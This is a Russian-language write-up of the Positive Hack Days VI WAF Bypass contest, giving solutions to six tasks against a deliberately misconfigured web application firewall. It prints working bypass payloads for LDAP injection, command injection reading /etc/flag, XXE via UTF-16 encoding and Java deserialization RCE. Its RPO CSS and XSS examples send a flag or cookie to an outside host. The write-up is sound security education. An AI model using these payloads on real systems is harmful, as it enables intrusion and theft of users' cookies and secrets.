Конкурс WAF Bypass на Positive Hack Days VI

14.06.2016

В рамках международного форума по практической безопасностиPositive Hack Days в очередной раз состоялся конкурс WAF Bypass. Как и прежде, задачей участников было решение заданий путем обхода проверок PT Application Firewall, защищавшего уязвимые веб-приложения. Каждое из заданий подразумевало заложенные нами варианты обхода, которые были возможны из-за специально допущенных ошибок в конфигурации. Цель каждого задания — получить флаг, который мог храниться в базе данных, в файловой системе или в Cookie, выдаваемых специальному боту. Описание заданий и способы их решения под катом.

1. m0n0l1th

В этом задании участникам было необходимо провести LDAP-инъекцию и извлечь пароль администратора из LDAP-хранилища. Имелась форма ввода имени пользователя, которое напрямую попадало в запрос к LDAP.

Стандартные вектора вроде admin)(|(password=*) блокировались регулярным выражением, однако обход был возможен при использовании пробельных символов между операндами в запросе:

admin)(%0a|(password=*)

Далее, для получения пароля было необходимо применить метод подбора для каждого символа:

admin)(%0a|(password=a*)
admin)(%0a|(password=a3*)
admin)(%0a|(password=a3b*)
admin)(%0a|(password=a3b8*)
admin)(%0a|(password=a3b8b*)
admin)(%0a|(password=a3b8ba*)

...

2. p0tat0

Открыв задание, участник получал следующую страницу:

Часть HTML-кода была при этом такой:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

На что здесь необходимо обратить внимание? В первую очередь, на объявление переходного синтаксиса HTML в DOCTYPE. Это значит, что будет работать нестрогий парсинг CSS. Вторая особенность — это наличие флага между тэгами link и script и отсутствие переводов строк.

Казалось бы, атакующий не может как-то повлиять на эту статичную страничку, однако если отправить запрос вида /index.php/test, то можно было увидеть, что путь отражается в тэгах link и script. При этом отображается та же страница вместо ошибки 404. Это возможно благодаря особенностям работы веб-сервера Apache (впрочем, такое поведение присутствует не только у него).

Очень похоже на XSS, однако любые кавычки и открывающие тэги экранировались. Для решения этого задания было необходимо применить другой способ, а именно Relative Path Overwrite. RPO эксплуатирует нестрогий парсинг CSS в браузерах, что позволяет заставить жертву корректно интерпретировать инъекцию CSS-стилей в HTML-документе. Внедренные CSS-стили могут использоваться для отправки персональных данных пользователя на сторонний сервер. Сама инъекция происходит через путь:

/index.php/%250a*%7B%7D%250abody%7Bbackground:red%7D%250a/

При таком запросе браузер подгрузит CSS-стиль по пути:

/index.php/%0a*{}%0abody{background:red}%0a//../styles.css

В ответе среди HTML-кода браузер увидит валидные CSS-стили:

Боевой эксплоит для данного задания подразумевает использование CSS-свойств, которые позволят отправить на сторонний сервер флаг, находящийся между двумя фрагментами текста под контролем атакующего. Пример:

/index.php/')%7D%250a%250a*%7B%7D%250abody%7Bbackground:url('http://test.com/

Однако в задании мы запретили ключевые слова CSS-свойств, которые позволяют сделать запрос на другой сайт:

  • import
  • content
  • image
  • background
  • font

Но не все :) Если посмотреть все известные способы, перечисленные в проекте HTTP Leaks, а также обратить внимание, что в исходном коде присутствует список, то можно было обнаружить, что свойство list-style не блокируется:

/index.php/')%7D%250a%250a*%7B%7D%250abody%7Blist-style:url('http://test.com/

Такой запрос заставит бота на PhantomJS отправить флаг:

3. d3rr0r1m

По традиции в рамках конкурса WAF Bypass было задание на обход XXE — инъекцию внешних сущностей XML. Однако в этот раз никому не удалось обойти наши проверки и найти заложенный обход. Блокировались любые вариации инъекции — через внешние обычные сущности, параметрические сущности, DOCTYPE и др. Внимание надо было обратить на обработку XML в разных кодировках — если закодировать тело в UTF-16 Big Endian командой cat x.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml, при этом удалив BOM-метку, то можно было обойти проверки и прочитать флаг из файловой системы.

4. f0dn3

В данном задании участник получал доступ к простому ToDo-менеджеру, который умел сохранять и восстанавливать из файла список дел:

Если открыть этот файл в hex-редакторе, то можно было сразу понять, что внутри сериализованный Java-объект (по magic-байтам 0xac 0xed в начале).

Десериализация Java-объектов, поступающих от пользователя, при наличии уязвимых библиотек может привести к выполнению произвольных команд на сервере. В CLASSPATH мы специально включили commons-collections 4, позволяющий провести RCE. Однако на стороне PT Application Firewall мы запретили две строки, которые присутствуют в эксплоитах ysoserial, являющимся популярным инструментом для реализации данной уязвимости. Первая строка — это собственно «ysoserial», а вторая — «iTransformers», которая присутствует в трех их пяти эксплоитов ysoserial. Для решения задания было необходимо переименовать классы и имена пакетов, исключив строку «ysoserial», при этом воспользовавшись одним из эксплоитов без строки «iTransformers».

5. n0ctf

На странице задания присутствовал простой ping-сервис с формой ввода IP-адреса. Как же здесь не попробовать кавычку? И, действительно, пользовательcкие данные напрямую попадали в вызов системных команд. Несмотря на то, что большинство способов внедрения команд блокировались, были возможны следующие варианты:

8.8.8.8|${IFS}cat /etc/flag
-c 1 ya.ru;/*in/cat /etc/flag
1.2.3.4|${a-cat /etc/flag}

6. c1tyf

Для решения этого задания было необходимо обойти проверку на Cross-Site Scripting в контексте JavaScript-кода. Алгоритм проверки был описан мной и Денисом Колеговым в рамках нашего доклада "Waf.js: как защищать веб-приложения с помощью JavaScript", который мы представили на Positive Hack Days VI. Вкратце, мы пытаемся подставить пользовательские данные в различные контексты и распарсить то, что получилось как JavaScript-код. Если AST-дерево построено, и в нем пристутствуют запрещенные ноды, то блокируем такой запрос. Например, простейший вариант "+alert(1)+" будет заблокирован, так как после подстановки в контекст с двойными кавычками в AST-дереве появится запрещнный узел CallExpression. Однако для конкурса в списке запрещенных узлов отсутствовал узел WithStatement, что позволяло обойти проверку с помощью оператора with:

http://c1tyf.waf-bypass.phdays.com/?name=\"};with(window){onload=function(){ with(document){k=cookie;};with(window){location='http://robotsfreedom.com/phdays/?a=test'%2bk;};}}//;

And the winner is...

Победителем конкурса в третий раз подряд стал Георгий Носеевич (@webpentest), в качестве приза ему достался iPad Air 2. Второе место занял другой постоянный участник конкурса Иван Новиков (d0znpp), он был награжден годовой лицензий Burp Suite Pro. Третье же место и сувенирная продукция PHDays достались Владасу Булавасу (vladvis).

И напоследок немного пирожков. В ходе конкурса были заблокированы 31412 запросов.

Распределение по категориям атак:

Распределение по заданиям:

Спасибо призерам и всем, кто участвовал!

Арсений Реутов (Raz0r), Игорь Каныгин (akamajoris), Дмитрий Нагибин, Денис Колегов, Николай Ткаченко, Павел Свиридов и PT Application Firewall Team.